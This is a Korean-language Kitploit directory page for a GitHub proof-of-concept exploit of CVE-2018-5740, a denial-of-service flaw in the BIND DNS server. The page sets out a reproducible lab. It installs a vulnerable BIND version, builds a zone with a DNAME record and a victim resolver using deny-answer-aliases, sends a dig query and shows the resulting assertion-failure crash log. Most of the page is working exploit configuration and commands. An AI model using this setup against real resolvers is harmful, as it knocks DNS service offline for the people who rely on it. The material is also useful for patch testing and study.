Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2018-5740 — CVE-2018-5740에 대한 개념 증명 익스플로잇으로, 조작된 DNAME 쿼리에 의해 트리거되는 BIND DNS 서버의 서비스 거부 취약점이며, 재현 가능한 실험실 설정을 포함합니다. | Kitploit
도구/GitHubGitHub/sischkg/cve-2018-5740
Vulnerability AnalysisExploitationLearning & EducationDNS AnalysisLabs & Practice
GitHubsischkg/cve-2018-5740

cve-2018-5740

CVE-2018-5740에 대한 개념 증명 익스플로잇으로, 조작된 DNAME 쿼리에 의해 트리거되는 BIND DNS 서버의 서비스 거부 취약점이며, 재현 가능한 실험실 설정을 포함합니다.

저장소 보기
38년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-5740 PoC

합법적인 권한 있는 서버로부터 응답을 받은 named가 CVE-2018-5740에 의해 충돌합니다.

파일

  • named.conf: 권한 있는 서버용 BIND 설정 파일.
  • example.com: 권한 있는 서버용 zone 파일.
  • named-full-resolver.conf: 피해자 풀-리졸버 서버용 BIND 설정 파일.

재현 단계

CentOS 7.5를 설치합니다.

bind 및 bind-utils 패키지를 설치합니다.

root@kitploit:~
# yum install bind-9.9.4-61.el7.x86_64 bind-utils-9.9.4-61.el7.x86_64

권한 있는 서버 설정

example.com 영역에 대한 Zone 파일을 생성합니다.

root@kitploit:~
# vi /var/named/example.com
# chown root:named /var/named/example.com

example.com zone 파일.

root@kitploit:~
$TTL 1D
@	IN SOA	@ rname.invalid. (
					0	; serial
					1D	; refresh
					1H	; retry
					1W	; expire
					3H )	; minimum
	NS	@
	A	127.0.0.1
	AAAA	::1

dname	IN DNAME	child.example.com.

example.com 영역을 추가하기 위해 named.conf를 편집합니다.

root@kitploit:~
# vi /etc/named.conf

example.com 영역 지시문.

root@kitploit:~
zone "example.com" IN {
	type master;
	file "example.com";
};

권한 있는 서버 서비스를 시작합니다.

root@kitploit:~
# systemctl start named

피해자 풀-리졸버 서버 설정

풀-리졸버 서버용 설정 파일을 생성합니다.

root@kitploit:~
# vi /etc/named-full-resulver.conf

named-full-resolver.conf

root@kitploit:~
options {
	listen-on port 10053 { 127.0.0.1; };
	listen-on-v6 port 10053 { ::1; };
	directory 	"/var/named";
	dump-file 	"/var/named/data/cache_dump.db";
	statistics-file "/var/named/data/named_stats.txt";
	memstatistics-file "/var/named/data/named_mem_stats.txt";
	allow-query     { localhost; };

	recursion yes;

	dnssec-enable yes;
	dnssec-validation yes;

	/* Path to ISC DLV key */
	bindkeys-file "/etc/named.iscdlv.key";

	managed-keys-directory "/var/named/dynamic";

	pid-file	"/var/run/named/named-full-resolver.pid";
	session-keyfile "/run/named/session.key";

	deny-answer-aliases {
		"dname.example.com";
	};
};

logging {
        channel default_debug {
                file "data/named.run";
                severity dynamic;
        };
};

zone "." IN {
	type hint;
	file "named.ca";
};

zone "example.com" IN {
	type static-stub;
	server-addresses { 127.0.0.1; };
};

include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";

권한 있는 서버 서비스를 시작합니다.

root@kitploit:~
# /usr/sbin/named -u named -c /etc/named-full-resolver.conf

풀-리졸버에 쿼리를 전송합니다.

root@kitploit:~
$ dig @127.0.0.1 -p 10053 dname.example.com DNAME +rec

/var/log/messages를 확인합니다.

root@kitploit:~
Aug 15 10:45:30 bind named[11523]: name.c:2117: REQUIRE(suffixlabels > 0) failed, back trace
Aug 15 10:45:30 bind named[11523]: #0 0x55651c255b60 in ??
Aug 15 10:45:30 bind named[11523]: #1 0x7fa8a4e1717a in ??
Aug 15 10:45:30 bind named[11523]: #2 0x7fa8a64f87e9 in ??
Aug 15 10:45:30 bind named[11523]: #3 0x7fa8a64a3daf in ??
Aug 15 10:45:30 bind named[11523]: #4 0x7fa8a64a4ff0 in ??
Aug 15 10:45:30 bind named[11523]: #5 0x7fa8a657d33e in ??
Aug 15 10:45:30 bind named[11523]: #6 0x7fa8a4e3a066 in ??
Aug 15 10:45:30 bind named[11523]: #7 0x7fa8a49eae25 in ??
Aug 15 10:45:30 bind named[11523]: #8 0x7fa8a3a5ebad in ??
Aug 15 10:45:30 bind named[11523]: exiting (due to assertion failure)
도구 다운로드